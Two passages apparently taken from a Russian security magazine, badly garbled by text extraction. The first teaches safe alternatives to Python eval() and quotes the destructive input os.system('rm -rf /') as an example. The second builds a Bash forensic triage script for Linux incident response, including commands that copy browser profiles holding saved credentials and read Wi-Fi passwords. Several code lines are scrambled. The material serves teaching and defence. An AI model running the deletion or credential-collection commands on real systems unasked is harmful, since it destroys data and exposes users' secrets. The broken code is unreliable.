Да вай пос мотрим на при меры хороше го и пло хого кода с исполь зовани ем
.eval()

Пло хой при мер:

 import os

 def bad_eval(input_string):
    return eval(input_string)

# Представь, что следующая строка пришла от пользователя
  user_input = "os.system('rm -rf /')"

  result = bad_eval(user_input)

В этом при мере мы исполь зовали  для выпол нения стро ки, вве ден ной
поль зовате лем. Если поль зователь зло наме рен, он может ввес ти стро ку,
которая, к при меру, уда лит все фай лы на дис ке.

eval()

Хо роший при мер:

 def good_eval(input_string):
           safe_list = ['+', '-', '*', '/', ' ', '4', '2']
      for i in input_string:

           if i not in safe_list:
            return "Error! Unsafe input."

    return eval(input_string)

# Даже если пользователь пытается ввести опасный код, ничего не 
случится

  user_input = "4 / 2 * os.system('rm -rf /')"
  result = good_eval(user_input)

print(result)
# Вывод: "Error! Unsafe input."

В этом при мере мы огра ничи ваем, что может быть вве дено в , и тем

самым умень шаем риск. Мы соз даем спи сок безопас ных сим волов и про- 
веря ем ввод: в нем не дол жно быть ничего, кро ме этих сим волов. Если вве- 
ден ный поль зовате лем сим вол не в спис ке, мы воз вра щаем сооб щение
об ошиб ке и не выпол няем .

eval()

eval()
Од нако даже в этом слу чае исполь зование  все еще не сов сем

безопас но, потому что нам приш лось учесть все воз можные вари анты вво да.
Это не всег да дос тижимо, осо бен но ког да ввод ста новит ся более слож ным.

eval()

Луч шей прак тикой будет вов се избе гать , если это воз можно. Есть
мно го дру гих спо собов обра бот ки вво да поль зовате ля, которые не под- 
верже ны такому рис ку.

eval()

Нап ример, если ты хочешь обра баты вать матема тичес кие выраже ния,
мож но исполь зовать безопас ные биб лиоте ки, такие как SymPy. В них есть
свои фун кции пар синга и выпол нения матема тичес ких выраже ний.

При мер безопас ного исполь зования SymPy:

   from sympy import sympify

 def safe_eval(input_string):
           safe_list = ['+', '-', '*', '/', ' ', '4', '2']
      for i in input_string:

           if i not in safe_list:
            return "Error! Unsafe input."

    return sympify(input_string)

  user_input = "4 / 2 * 2"
  result = safe_eval(user_input)

 print(result) # Выведет 4.0

В этом при мере мы исполь зуем фун кцию  из биб лиоте ки SymPy

для выпол нения матема тичес кого выраже ния, вве ден ного поль зовате лем.
Это безопас нее, чем исполь зовать , потому что SymPy не выпол няет

про изволь ный код Python, а толь ко обра баты вает матема тичес кие выраже- 
ния.

sympify

eval()

При мене ние  может быть обос нован но — в основном ког да тебе

нуж но динами чес ки исполнить код на Python, который ты получа ешь в виде
стро ки. Но даже в этих слу чаях будь пре дель но осто рожен и всег да валиди- 
руй ввод, что бы избе жать воз можных уяз вимос тей.

eval()

Да вай рас смот рим нес коль ко при меров, ког да вызывать  может

быть полез но.

eval()

На ибо лее оче вид ный слу чай — это соз дание собс твен ного интер пре тато- 
ра Python или REPL (read — eval — print loop). Тебе может пот ребовать ся

, что бы исполнять код, вве ден ный поль зовате лем.eval()

 while True:
     user_input = input(">>> ")
   try:
       print(eval(user_input))
      except Exception as e:

        print("Ошибка: ", e)

Иног да  исполь зуют для динами чес кого импорти рова ния модулей.

Нап ример, нуж но заг рузить какие-то модули, перечис ленные как стро ковые
зна чения. Одна ко в таких слу чаях луч ше исполь зовать для тех же целей биб- 
лиоте ку .

eval()

importlib

Всег да пом ни:  — это мощ ный инс тру мент, но с боль шой мощью
идет боль шая ответс твен ность. При меняй его с осто рож ностью и толь ко тог- 
да, ког да дру гих вари антов нет.

eval()

ÈÑÏÎËÜÇÓÉ ÂÈÐÒÓÀËÜÍÎÅ ÎÊÐÓÆÅÍÈÅ PYTHON

Вир туаль ное окру жение — это изо лиро ван ная зона, в которой уста нов лена
опре делен ная вер сия Python и биб лиотек. Этот механизм помога ет огра дить
твой про ект от изме нений в сис теме. Заод но вир туаль ные окру жения дают
допол нитель ную безопас ность.

Êàê ýòî ðàáîòàåò?
До пус тим, ты пишешь два про екта:  и .  тре- 

бует Django вер сии 1.11, а  — Django вер сии 2.2. Если уста новить

обе вер сии Django гло баль но, ты стол кнешь ся с кон флик том вер сий. Вир- 
туаль ное окру жение реша ет эту проб лему, поз воляя иметь две отдель ные
«копии» Python и биб лиотек для каж дого про екта.

Project_A Project_B Project_A
Project_B

До пус тим, тебе нуж но соз дать вир туаль ное окру жение для .

Открой тер минал и перей ди в каталог , а затем вве ди

Project_A
Project_A

python3 -m venv env

Это соз даст вир туаль ное окру жение с име нем . Теперь, что бы акти виро- 

вать это окру жение, исполь зуй сле дующую коман ду:

env

source env/bin/activate 

Прос то и надеж но! Так почему же это еще и более безопас но? Вот нес коль ко
при чин:

 У каж дого вир туаль ного окру жения — свой

набор зависи мос тей, которые изо лиро ваны от сис темно го Python.
Это озна чает, что, даже если в каком-то из сис темных пакетов Python есть
уяз вимость, это не зат ронет твое вир туаль ное окру жение.

• Èçî ëÿöèÿ çàâèñè ìîñ òåé.

 Исполь зование вир туаль ных окру жений помога ет

кон тро лиро вать вер сии исполь зуемых биб лиотек и пакетов. Ты можешь
исполь зовать кон крет ные вер сии пакетов, в безопас ности которых
не сом нева ешь ся.

• Êîí òðîëü âåð ñèé.

 Если ты слу чай но уста новишь вре донос ный пакет,

он будет огра ничен вир туаль ным окру жени ем и не смо жет нав редить сис- 
темно му Python или дру гим про ектам.

• Óìåíü øåíèå ðèñ êà.

 Уста нов ка

пакетов гло баль но может соз дать мно жес тво проб лем, осо бен но
при работе с раз ными вер сиями Python. Вир туаль ные окру жения помога- 
ют избе жать это го, сох раняя гло баль ное прос транс тво чис тым и орга- 
низо ван ным.

• Ñîõ ðàíåíèå ÷èñ òîòû ãëî áàëü íîãî ïðîñ òðàíñ òâà.

 Ког да раз верты- 

ваешь при ложе ние на сер вере или переда ешь код дру гому раз работ чику,
вир туаль ное окру жение поз воля ет лег ко вос про извести нуж ные усло вия,
вклю чая все зависи мос ти.

• Ëåã êîñòü âîñ ïðî èçâå äåíèÿ è ðàç âåðòû âàíèÿ.

Ис поль зовать вир туаль ные окру жения не толь ко удоб но, это еще и важ ный
аспект безопас ного прог рамми рова ния на Python.

ÂÛÂÎÄÛ

Сле дуя этим основным прин ципам, ты сни зишь веро ятность появ ления уяз-
вимос тей и сде лаешь свой код более надеж ным. Всег да будь в кур се пос- 
ледних угроз и исполь зуй луч шие прак тики, что бы свес ти риск к миниму му.

И пом ни, что безопас ность — это не что-то, что мож но добавить в кон це
раз работ ки. О ней нуж но думать при написа нии каж дой строч ки кода. И хотя
это может занять боль ше вре мени и уси лий, в дол госроч ной пер спек тиве они
обя затель но оку пят ся.

https://security.stackexchange.com/questions/238338/are-there-any-security-concerns-to-using-python-f-strings-with-user-input
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АДМИН

Псс, бра ток... слы шал, что вин да
уже всё? Все поваль но перехо дят
на сво бод ное ПО, иног да даже
оте чес твен ное. Ты безопас ник, так
что иди обес печивай безопас- 
ность. И вот тебе кейс: комп
с «Линук сом» и инци дент.
Или инци ден та не было, а про- 
верить, что все чис то, надо. Зна- 
ешь, что делать? Если нет, сей час
рас ска жем. А если зна ешь, все
рав но пог ляди! Мы соб рали рецеп- 
ты на все слу чаи жиз ни, а в кон це
статьи поделим ся под боркой
полез ных инс тру мен тов.

Имен но здесь начина ется наша исто рия. По усло виям задачи рас смат рива- 
ются дис три бути вы Linux на осно ве Debian: Kali, Astra и про чие. Нуж но соб- 
рать информа цию о хос те, поль зователь ской активнос ти, иные арте фак ты,
которые могут при годить ся для ана лиза любой сто рон ней активнос ти.
Очень желатель но собирать все дан ные авто мати чес ки, без исполь зования
кучи пакетов с зависи мос тями. Веро ятно, ты дума ешь, что при дет ся вруч ную
вби вать все коман ды в тер минал, делать себе чек-лист... Но зачем? Напишем
скрип тец на Bash и будем носить его на флеш ке!

по ту

Ты можешь соб рать свой скрипт из при веден ных команд, как из конс трук- 
тора. Или же вос при нимай этот матери ал как шпар галку по Linux для юно го
безопас ника. Разуме ется, все коман ды ты можешь опро бовать в тер минале,
все они толь ко собира ют и отоб ража ют информа цию, ничего не меняя в сис- 
теме.

Пред варитель но отформа тируй флеш ку в NTFS, если ты будешь потом
общать ся с Windows, или в ext4, если нет. Соз дадим фай лик 

(incident forensic response in terminal) и вне сем в него пре амбу лу. Скрипт
будет фик сировать вре мя запус ка и соз даст дирек торию для сбо ра фай лов
(арте фак тов) с машины и наших логов. Называть ся она будет так:

ifrit.sh

<имя_хоста>_<юзер>_<дата и время> 

В кон це основной час ти соз даем в этой пап ке под каталог для будущих арте- 
фак тов и раз реша ем его копиро вать, затем счи таем зат рачен ное вре мя
и откры ваем пап ку в фай ловом менед жере. Все свои дей ствия будем писать
в общий лог.

#!/bin/bash
# IFRIT. Stands for: Incident Forensic Response In Terminal =)
# Использование: chmod a+x ./ifrit.sh && ./ifrit.sh

# Фиксируем текущую дату
 +%sstart=`date `

# Проверка, что мы root
   0    0   [[ $UID == || $EUID == ]] || (

    echo "Current user:"

   # «Без root будет бедная форензика»
      echo $(id -u -n)
)

 echo "Наш sudo-юзер:"
 echo $SUDO_USER

# Делаем директорию для сохранения всех результатов (если не указан 
аргумент скрипта)

     if [ -z $1 ]; then
    part1=$(hostname) # Имя хоста

    echo "Наш хост: $part1"
    time_stamp=$(date +%Y-%m-%d-%H.%M.%S) # Берем дату и время
    curruser=$(whoami) # Текущий юзер
    saveto="./${part1}_${curruser}_$time_stamp" # Имя директории
else
  saveto=$1
fi

# Создаем директорию и переходим в нее
  mkdir -pv $saveto

 cd $saveto

# Создаем вложенную директорию для триаж-файлов
 mkdir -p ./artifacts 

# Начинаем писать лог в файл
{
<основной код проверок> 
# Пример команды в формате:
# <команда> >> <тематический файл>

# Сведения о релизе ОС, например из файла os-release
# Аналоги: cat /usr/lib/os-release или lsb_release
cat /etc/*release 

# Список всех запущенных процессов — вывод в тематический файл test
 ps aux >> test

... 

# Завершающая часть после выполнения необходимых команд
# Для выходной директории даем права всем на чтение и удаление

 chmod -R ugo+rwx ./../$saveto
 +%send=`date `

:   - echo ENDED! Execution time `expr $end $start` seconds. 
 echo "Проверяй директорию ${saveto}!"

# Открываем директорию в файловом менеджере — работает не во всех 
дистрибутивах. В Astra также можно использовать команду fly-fm
xdg-open .

} |& tee ./console_log # Наш лог-файл

По доб ные скрип ты обыч но либо пишут всё в один общий лог или в мно жес тво
малень ких фай лов, либо пыта ются как-то сис темати зиро вать свой вывод,
раз мещая рядом архи вец с соч ными дан ными. Мы выберем пос ледний вари- 
ант, но об этом даль ше.

В лис тингах мы ука зыва ем толь ко коман ду, для эко номии пишем в ком- 
мента рии, что она дела ет, а ее резуль тат выводим в один из темати чес ких
фай лов, нап ример  (тоже опус каем эту часть в лис тингах).

В реаль ном скрип те рекомен дуем каж дую коман ду соп ровож дать выводом ее
наз вания и соп роводи тель ной информа ции, что бы было понят но, что про- 
исхо дит:

>> case1.log

# Выводим текущий этап в консоль
 echo "Название модуля"

# Выводим текущий этап в профильный лог
  echo "Название модуля" >> <тематический файл> 

# Выводим результат работы команды в профильный лог
<выполняемая команда> >> <тематический файл> 
# Вставляем пустую строку в файл для удобочитаемости и разделения 
результатов отдельных команд

   echo -e "\n" >> <тематический файл> 

Продолжение статьи →
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АДМИН  НАЧАЛО СТАТЬИ←

ÑÁÎÐ ÄÀÍÍÛÕ Î ÕÎÑÒÅ

Для начала зафик сиру ем базовую информа цию о хос те и ОС и запишем
в файл . Вдруг машин мно го и в будущем нуж но будет их раз личать.

Скрипт сто ит запус кать от рута для мак сималь но под робно го вывода команд.
Там, где это абсо лют но необ ходимо, мы будем начинать коман ду с .

host_info

sudo

# Начинаем писать файл host_info. Далее вывод каждой команды здесь 
подразумевает в конце добавление ">> host_info", для краткости 
опустим это

  echo -n > host_info 
  date # Фиксируем текущую дату и время

  hostname # Пишем имя хоста
who am i  # и юзера, от имени которого запустили скрипт
ip addr  # Информация о текущем IP-адресе

   uname -a # На каких ОС и ядре мы находимся
# Получим список живых пользователей. Зачастую мы хотим просто 
посмотреть реальных пользователей, у которых есть каталоги, чтобы в 
них порыться. Запишем имена в переменную для последующей эксплуатации
ls /home 
# Исключаем папку lost+found

 lostusers=`ls /home -I *`
 echo $users

# Раскомментируй следующую строчку, чтобы сделать паузу и что-нибудь 
скушать. Затем нажми Enter, чтобы продолжить
# read -p "Press [Enter] key to continue fetch..."

Ба зовая информа ция об активнос ти — вклю чении, вык лючении, уров не
заряда батареи ноут бука (вдруг при годит ся). Как-то раз машину вклю чили
спе циаль но для меня впер вые за пять лет.

# Текущее время работы системы, количество залогиненных 
пользователей, средняя загрузка системы за 1, 5 и 15 мин
uptime
# Список последних входов в систему с указанием даты (/var/log/
lastlog)
lastlog 
# Список последних залогиненных юзеров (/var/log/wtmp), их сессий, 
ребутов и включений и выключений
last -Faiwx

# Информация о текущей учетной записи и ее членстве в группах
id

name   for in $(ls /home) # ...и обо всех остальных
# Здесь же можно использовать и нашу переменную $users
do

    id $name
done

# Проверимся на руткиты, иногда помогает
chkrootkit 2>/dev/null 

# Здесь можно встретить информацию в виде dat-файлов о состоянии 
батареи ноутбука, включая процент зарядки, расход и состояние 
отключения батарейки и ее заряда
cat /var/lib/upower/* 2>/dev/null 
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ÊÅÉÑ 1. ÊÒÎ ÊÎÑß×ÈÒ?

Кто-то из поль зовате лей занима ется непот ребс тва ми на работе. То Steam
уста новит, то в ЖЖ напишет трак тат. Поп робу ем его опре делить сво ими
силами.

Øàã 1. Êîïàåìñÿ â ôàéëîâîé ñèñòåìå
Нуж но спер ва пос мотреть активность в стан дар тных поль зователь ских дирек- 
тори ях. Это самый быс трый и прос той спо соб най ти тех, кто не уби рает
за собой. Здесь мы дела ем поиск сра зу для всех домаш них катало гов, что
тре бует при виле гий супер поль зовате ля. Если ты про веря ешь толь ко одно го
текуще го юзе ра, вмес то  в коман дах ниже можешь написать ./home/* ~/

# В этих каталогах можно поискать последние пользовательские 
документы и файлы, что позволит узнать, какие документы открывал 
пользователь и что качал из интернета

 sudo ls -la /home/*/Downloads/ 2>/dev/null 
 sudo ls -la /home/*/Загрузки/ 2>/dev/null 
 sudo ls -la /home/*/Documents/ 2>/dev/null 
 sudo ls -la /home/*/Документы/ 2>/dev/null 
 sudo ls -la /home/*/Desktop/ 2>/dev/null 
 sudo ls -la /home/*/Рабочий\ стол/ 2>/dev/null 

# Составляем список файлов в корзине
 sudo ls -laR /home/*/.local/share/Trash/files 2>/dev/null 

# Для рута тоже на всякий случай
 sudo ls -laR /root/.local/share/Trash/files 2>/dev/null 

# Кешированные изображения могут помочь понять, какие программы 
использовались

 sudo ls -la /home/*/.thumbnails/ 

В резуль тате ты можешь най ти приз наки ска чива ния фай лов, докумен тов,
при ложе ний. В кор зине могут остать ся уда лен ные серии сери алов или еще
что-то в этом духе.

По лез но быва ет про шер стить катало ги на наличие фай лов с иско мым кон- 
тентом или тер мином. Нап ример, поп робу ем поис кать все фай лы с упо мина- 
нием сло ва «тер менвокс» (пред положим, юзер писал чер новик в тек сто вом
фай ле перед пуб ликаци ей в ЖЖ) и выведем по две строч ки свер ху и сни зу
от него для понима ния кон тек ста упот ребле ния.

# Ищем в домашних пользовательских папках
      grep -A2 -B2 -rn 'терменвокс' --exclude="*ifrit.sh" --exclude-dir=

$saveto /home/* 2>/dev/null >> ioc_word_info 

Мож но поис кать все фай лы с инте ресу ющим нас рас ширени ем. Одна ко эта
коман да может выпол нять ся  дол го.î÷åíü

 f   .jpg   .doc  
 .xls   .csv   .odt   .ppt   

  .ods   .odp     

sudo find /root /home -type -o -name \* -o -name \* -o
-name \* -o -name \* -o -name \* -o -name \* -o -name
\*.pptx -o -name \* -o -name \* -o -name \*.mbox -o -name \*.
eml 2>/dev/null >> interes_files_info 

По лез но пос тро ить тай млайн фай лов в домаш них катало гах с датами изме- 
нения и сох ранить его в CSV. Тай млайн может помочь впос ледс твии понять,
в какой момент что-то пош ло не так, какие фай лы, ког да и где соз давались.

 echo "[BUILDING SACRED TIMELINE!]"
  echo -n >> timeline_file 
 

 

echo "file_location_and_name, date_last_Accessed, 
date_last_Modified, date_last_status_Change, owner_Username, 
owner_Groupname,sym_permissions, file_size_in_bytes, num_permissions"
>> timeline_file 

  echo -n >> timeline_file 
 f  sudo find /home /root -type -printf "%p,%A+,%T+,%C+,%u,%g,%M,%s,%m\

n" 2>/dev/null >> timeline_file #

Øàã 2. Ïðèëîæåíèÿ
Те перь пос мотрим на спис ки при ложе ний. Для начала гля нем, что у нас вооб- 
ще уста нов лено в сис теме помимо стан дар тных вещей. Сле дует про верить,
какие бра узе ры, мес сен дже ры и поч товые сер веры исполь зуют ся, — вдруг
через них совер шались недоб рые дела? Это в будущем может при годить ся
ана лити кам при рас сле дова нии инци ден та.

Ра зуме ется, мож но и прос то про бежать ся по знач кам на рабочем сто ле.
Здесь мы при водим коман ды и пап ки, куда дан ные прог раммы могут писать
полез ную инфу, нап ример хра нить базы, пароли, исто рию и про чие све дения.

# Firefox, артефакты: ~/.mozilla/firefox/*, ~/.mozilla/firefox/* и 
~/.cache/mozilla/firefox/*
firefox --version 2>/dev/null
# Firefox, альтернативная проверка
dpkg  | -l grep firefox 
# Thunderbird. Можно при успехе просмотреть содержимое каталога 
командой ls -la ~/.thunderbird/*, поискать календарь, сохраненную 
переписку
thunderbird --version 2>/dev/null 
# Chromium. Артефакты:  ~/.config/chromium/*
chromium --version 2>/dev/null 
# Google Chrome. Артефакты можно брать из ~/.cache/google-chrome/* и 
~/.cache/chrome-remote-desktop/chrome-profile/
chrome --version 2>/dev/null 
# Opera. Артефакты: ~/.config/opera/*
opera --version 2>/dev/null 
# Brave. Артефакты: ~/.config/BraveSoftware/Brave-Browser/*
brave --version 2>/dev/null 
# Бета Яндекс-браузера для Linux. Артефакты: ~/.config/
yandex-browser-beta/*
yandex-browser-beta --version 2>/dev/null 

# Мессенджеры
# Signal
signal-desktop --version 2>/dev/null 
# Viber
viber --version 2>/dev/null 
# WhatsApp
whatsapp-desktop --version 2>/dev/null 
# Telegram
tdesktop --version 2>/dev/null 
# Zoom
# Также можно проверить каталог: ls -la ~/.zoom/*
zoom --version 2>/dev/null 
# Steam
# Можешь проверить и каталог: ls -la ~/.steam
steam --version 2>/dev/null 
# Discord
discord --version 2>/dev/null
# Dropbox
dropbox --version 2>/dev/null
# И артефакты — в ~/.dropbox
# Яндекс Диск
yandex-disk --version 2>/dev/null 
# Ищем установленные торрент-клиенты

 | apt list --installed grep torrent 2>/dev/null 

# Иные специфичные приложения
docker --version 2>/dev/null # Docker
# Артефакты Docker: /var/lib/docker/containers/*/
containerd --version 2>/dev/null 
# Артефакты containerd : /etc/containerd/* и /var/lib/containerd/

Ес ли у тебя есть спи сок при ложе ний, зап рещен ных в орга низа ции, мож но
хра нить его в отдель ном тек сто вом фай ле, гре пать их отту да или исполь- 
зовать однос троч ники. Нап ример:

dpkg  |  -l grep -f blacklisted_apps.txt 
 |  apt list --installed grep 'torrent\|viber'

Еще мож но на вся кий слу чай выписать все пакеты, уста нов ленные в сис теме.
Тут мы при водим коман ды для раз ных пакет ных менед жеров, не толь ко
для стан дар тных в Debian.

# Список всех установленных пакетов APT; также попробуй dpkg -l
apt list --installed 2>/dev/null 
# Следующая команда позволяет получить список пакетов, установленных 
вручную
apt-mark showmanual 2>/dev/null 

 |   apt list --manual-installed grep -F \[installed\] 2>/dev/null 
# Как вариант, можешь написать aptitude search '!~M ~i' или aptitude 
search -F %p '~i!~M'

# Для openSUSE, ALT, Mandriva, Fedora, Red Hat, CentOS
rpm   -qa --qf "(%{INSTALLTIME:date}): %{NAME}-%{VERSION}\n" 2>/dev/
null 
# Для Fedora, Red Hat, CentOS
yum list installed 2>/dev/null 
# Для Fedora
dnf list installed 2>/dev/null 
# Для Arch
pacman -Q 2>/dev/null 
# Для openSUSE
zypper info 2>/dev/null 

При сбо ре дан ных еще мож но вытянуть вся кие шту ки типа бра узер ных баз,
где хра нят ся нас трой ки, пароли, зак ладки и исто рия посеще ний. А так же нас- 
трой ки поч товых кли ентов и перепис ки в них. Учти, что копиро вание таких
фай лов обыч но тре бует опре делен ных прав в сис теме. Пред став ленные ниже
пап ки при ложе ний будут сущес тво вать, толь ко если эти при ложе ния запус- 
кались и исполь зовались.

# Создаем папку для сохранения профиля
 mkdir -p ./artifacts/mozilla 

# Банально воруем профиль «Файрфокса» для последующих опытов — 
анализа закладок, истории, сохраненных кредов

 sudo cp -r /home/*/.mozilla/firefox/ ./artifacts/mozilla 
 mkdir -p ./artifacts/gchrome 

# Google Chrome
 sudo cp -r /home/*/.config/google-chrome* ./artifacts/gchrome 

 mkdir -p ./artifacts/chromium
# Chromium

 sudo cp -r /home/*/.config/chromium ./artifacts/chromium 

На этом эта пе мы успешно пос мотре ли, чем поль зователь занимал ся, какие
у него есть при ложе ния, и выг рузили бра узер ные арте фак ты. Потом отту да
мож но будет получить исто рию посеще ний и сох ранен ные кре ды.

Øàã 3. Âèðòóàëüíûé íàðóøèòåëü
Са мый хит рый спо соб наруше ний — гадить из вир туалок или вин довых при- 
ложе ний, раз верну тых в Wine. Коман ды ниже могут помочь най ти уста нов- 
ленные там прог раммы и пос мотреть их нас трой ки. Тоже запус каем от рута.

# Список приложений, установленных в Winetricks
winetricks list-installed 2>/dev/null 
# Параметры Winetricks
winetricks settings list 2>/dev/null 
# Смотрим файлы в вайновском Program Files

 ls -la /home/*/.wine/drive_c/program_files 2>/dev/null 
 ls -la /home/*/.wine/drive_c/Program 2>/dev/null 
 ls -la /home/*/.wine/drive_c/Program\ Files/ 2>/dev/null 
 ls -la /home/*/.wine/drive_c/Program/ 2>/dev/null 

По лез но и пос мотреть, не затеря лись ли VirtualBox или QEMU.

# Проверяем, установлена ли VirtualBox
  | apt list --installed grep virtualbox 2>/dev/null 

# А вот так можем посмотреть логи QEMU, в том числе и об активности 
виртуальных машин
cat ~/.cache/libvirt/qemu/log/* 2>/dev/null 

Для ана лиза вир туаль ных машин их при дет ся вклю чать и смот реть вруч ную
или выг ружать их дис ки для даль нейше го ана лиза ути лита ми типа Autopsy.

Øàã 4. Ëþáèòåëè êîíñîëè
Смот реть пос леднюю активность поль зовате ля — это наша пер вооче ред ная
обя зан ность. Не забыва ем, что, кро ме обыч ных гра фичес ких юзе ров, у нас
есть root, от име ни которо го отдель ные лич ности любят ста вить пакеты через
тер минал и тво рить про чие безоб разия. Впе ред! Нач нем с исто рии команд
в кон соли.

# Дефолтная команда
history
# Выводим историю консольных команд
cat ~/.history 2>/dev/null 
# Аналог команды history, выводит список последних команд, 
выполненных текущим пользователем в терминале

 fc -l 1 2>/dev/null 
# История команд Python, здесь тоже что-то может встретиться
cat ~/.python_history 

Ин терес но, какие при ложе ния ста вил и уда лял юзер перед нашей про вер кой?

 echo "[History installed grep install  /var/log/dpkg.log]"
# История установки пакетов. Также можно грепать в файлах /var/log/
dpkg.log*, например

 grep "install " /var/log/dpkg.log 
# История установки пакетов в архивных логах. Для поиска во всех 
заархивированных логах исправь dpkg.log на *

 zcat /var/log/dpkg.log.gz | grep "install "
# Обновления пакетов

 grep "upgrade " /var/log/dpkg.log 
# Лог удаленных пакетов

 grep "remove " /var/log/dpkg.log 
# Тут может быть инфа о последних установленных приложениях
cat /var/log/apt/history.log 

Так же в поис ках уста нов ленных при ложе ний мож но пос мотреть сле дующие
фай лы:

;• /var/log/dpkg.log*

;• /var/log/apt/history.log*

;• /var/log/apt/term.log*

.• /var/lib/dpkg/status

Иног да ты при ходишь про верять комп и перед тобой девс твен но чис тый
Linux. Воз можно, от тебя скры ли основную рабочую ось?

# Вывод содержимого загрузочного меню, то есть список ОС
 sudo awk -F' '/menuentry / {print $2}' /boot/grub/grub.cfg 2>/dev/

null
# Проверим, не завалялись ли рядом еще загрузочные ОС
sudo os-prober

Под ведем про межу точ ные ито ги. Мы получи ли пред став ление о пос ледних
поль зователь ских дей стви ях с фай лами и в тер минале, о работе с гра фичес- 
кими при ложе ниями. Заг лянули в кор зину. Пос тро или тай млайн фай ловых
изме нений в основных домаш них катало гах. Про чека ли наличие вир туалок
и пор тирован ных при ложе ний, в которых тоже мож но мно го чего нат ворить.
Это го дос таточ но для вос ста нов ления дей ствий обыч ного юзе ра. Теперь
перей дем к более спе цифич ным кей сам.

Продолжение статьи →
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ÊÅÉÑ 2. ÇÀÔÈÊÑÈÐÎÂÀÍÎ ÎÁÐÀÙÅÍÈÅ Ê TOR

Тре вога, тре вога! Кто-то (или что-то) с рабоче го компь юте ра под клю чил ся
к Tor. Есть IP хос та, с которо го пред положи тель но было обра щение, IP
целево го узла Tor и дата. Резуль таты будем писать в файл .network

Íà òîì ëè ìû õîñòå?
Про верим, что мы на машине с IP источни ка под клю чения:

# Сетевое имя текущего хоста
cat /etc/hostname 
# Информация о сетевых адаптерах. Аналоги: ip l и ifconfig -a
ip a 2>/dev/null 
# Список известных хостов, он же локальный DNS
cat /etc/hosts 
# Проверяем наличие интернета, а заодно и записываем внешний IP-адрес
wget  -O- https://api.ipify.org 2>/dev/null | tee -a network 

Ес ли в сети исполь зует ся DHCP, мож но пос мотреть сле дующие фай лы:

# База аренд DHCP-сервера (файлы dhcpd.leases). Гламурный аналог — 
утилита dhcp-lease-list
cat /var/lib/dhcp/* 2>/dev/null 
# Основные конфиги DHCP-сервера (можно сразу убрать из вывода все 
строки, начинающиеся с комментариев, и посмотреть именно актуальный 
конфиг, если тебе это надо, конечно)

 | cat /etc/dhcp/* grep –vE ^ 2>/dev/null 
# В логах смотрим инфу о назначенном адресе по DHCP

  sudo journalctl |  grep " lease"
# При установленном NetworkManager

  sudo journalctl |  grep "DHCP"

При мер вывода информа ции об адре се DHCP из жур нала

Ес ли мы на подоз рева емой машине, то дви гаем ся даль ше.

Òåêóùèå ñîåäèíåíèÿ è ëîãè
Не обхо димо пос мотреть, нет ли сре ди активных под клю чений соеди нений
с IP-адре сом Tor.

# Сохраняем текущую ARP-таблицу. Аналог: arp -e
sudo ip n 2>/dev/null 
# Банальный принт таблицы маршрутизации. Аналог: route
sudo ip r 2>/dev/null 
# Активные сетевые процессы и сокеты с адресами. Эти же ключи 
сработают для утилиты ss ниже
netstat -anp 2>/dev/null 
# Актуальная альтернатива netstat, выводит имена процессов (если 
запуск с sudo) с текущими TCP/UDP-соединениями

ss sudo -tupln

Сре ди активных соеди нений мы ничего подоз ритель ного не уви дели. При дет- 
ся обра щать ся к логам и кон фигам. Коман ды, при веден ные ниже, мы поза- 
имс тво вали у спе циалис тов Цен тро бан ка (из стан дарта , при- 
ложе ние В).

ИББС-1.3-2016

Мы будем искать информа цию (в том чис ле в сис темных логах) о сетях,
к которым под клю чалась опе раци онка. Для всех команд нуж ны пра ва супер- 
поль зовате ля. Вывод же мож но нап равлять в отдель ный файл .network_list

# Незамысловатый карвинг из логов сетевых соединений
  sudo journalctl -u NetworkManager | grep -i "connection '"
   sudo journalctl -u NetworkManager | grep -i "address" # адресов
 sudo journalctl -u NetworkManager | grep -i wi-fi # 

подключений-отключений Wi-Fi
   sudo journalctl -u NetworkManager | grep -i global -A2 -B2 # 

подключений к интернету
# Сети Wi-Fi, к которым подключались
sudo grep psk= /etc/NetworkManager/system-connections/* 2>/dev/null 
# Альтернатива
sudo cat /etc/NetworkManager/system-connections/* 2>/dev/null 
# Забираем конфигурацию iptables
sudo iptables-save 2>/dev/null 

   sudo iptables -n -L -v --line-numbers
# Список правил файрвола nftables
sudo nft list ruleset 

До пол нитель ные коман ды, тре бующие sudo:

# Конфигурация беспроводных сетей
sudo iwconfig 2>/dev/null 
# Процессы, прослушивающие порты

lsof sudo -i
# Информация о DHCP-действиях на хосте

 sudo journalctl | grep -i dhcpd 

А вот эта коман да покажет количес тво полу откры тых соеди нений:

 |   netstat -tan grep -i syn | wc -l

Ес ли соеди нений мно го, мож но пред положить, что на хост про води лась ата ка
SYN ood.

Мы выяс нили текущую кон фигура цию сети, соб рали некото рую исто рию
под клю чений и получи ли нас трой ки фай рво ла. Кста ти, часть вре доно сов
прос то обыч но или целиком сно сят фай рвол (ник то не заметит, ведь у Linux
быва ет аптайм по пол года и боль ше), или откры вают и изме няют пор ты
для сво ей работы.

Ðàçíûå ïðèåìû
Про верим логи с регуляр кой на более-менее валид ный IP-адрес:

   sudo journalctl | grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]
?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|

 | sudo [01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)'
sort |uniq 

Или можешь поп робовать такой вари ант:

    grep -r -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[
0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9

 | ][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' /var/log | sort
uniq

К сожале нию, иссле дуемый хост все это вре мя был под клю чен к одной сети.
Исполь зуя соб ранные дан ные из кей са 1, мы уста нови ли, что в день под клю- 
чения было активно два при ложе ния: Firefox и qBittorrent. В  не было

ничего инте рес ного. Зато в заг рузках обна ружи ли ска чан ный в тот же день
тор рент-файл и сам спи рачен ный кон тент. Что же делать? В тех слу чаях, ког-
да ты не зна ешь, куда при ложе ние пишет лог, быва ет полез но греп нуть кон- 
крет ный IP-адрес...

/var/log

# Ищем айпишник среди данных приложений
      grep -A2 -B2 -rn '66.66.55.42' --exclude="*ifrit.sh" --exclude-dir=

$saveto /usr /etc  2>/dev/null >> IP_info 

И еще — сла бый, но рабочий спо соб искать логи где-то еще. Из-за того что
жур налы могут иметь вари ации типа . ,  и так далее, будет

мно го лож ных сра баты ваний. Лег че будет потом находить логи кон крет ных
при ложе ний.

-log *.log log1

 f  
log

sudo find /root /home /bin /etc /lib64 /opt /run /usr -type -name \
